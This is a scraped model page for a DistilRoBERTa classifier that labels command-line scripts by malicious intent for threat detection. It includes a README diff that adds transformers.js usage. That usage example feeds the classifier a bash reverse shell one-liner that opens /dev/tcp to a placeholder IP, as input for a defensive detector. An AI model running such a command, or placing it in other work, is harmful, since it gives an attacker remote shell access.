Text Classification
Transformers
ONNX
Safetensors
English
roberta
cybersecurity
security
command-line
powershell
bash
sql-injection
mitre-attack
threat-detection
Eval Results (legacy)
text-embeddings-inference
Instructions to use DaveyD347/script-intent-distilroberta with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use DaveyD347/script-intent-distilroberta with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForSequenceClassification tokenizer = AutoTokenizer.from_pretrained("DaveyD347/script-intent-distilroberta") model = AutoModelForSequenceClassification.from_pretrained("DaveyD347/script-intent-distilroberta", device_map="auto") - Notebooks
- Google Colab
- Kaggle
Model card: add transformers.js usage
Browse files77 unmodified lines78798081828377 unmodified lines# [{'label': 'benign', ...}, ...]```## Labels| id | Label | Covers |77 unmodified lines78798081828384858687888990919293949596979877 unmodified lines# [{'label': 'benign', ...}, ...]```## In the browser (transformers.js)`onnx/model_quantized.onnx` is an int8 copy (83 MB, per-channel dynamic quantization) for[transformers.js](https://huggingface.co/docs/transformers.js). `onnx/model.onnx` is the full-precision export.On the template-disjoint test split the int8 model scores 0.779 accuracy (fp32: 0.780).```jsimport { pipeline } from "@huggingface/transformers";const clf = await pipeline("text-classification", "DaveyD347/script-intent-distilroberta", { dtype: "q8" });await clf("bash -i >& /dev/tcp/203.0.113.5/4444 0>&1", { top_k: 3 });```It powers step 3 of the [SOC Analyst Copilot](https://huggingface.co/spaces/DaveyD347/soc-analyst-copilot) demo.## Labels| id | Label | Covers |
README.md+15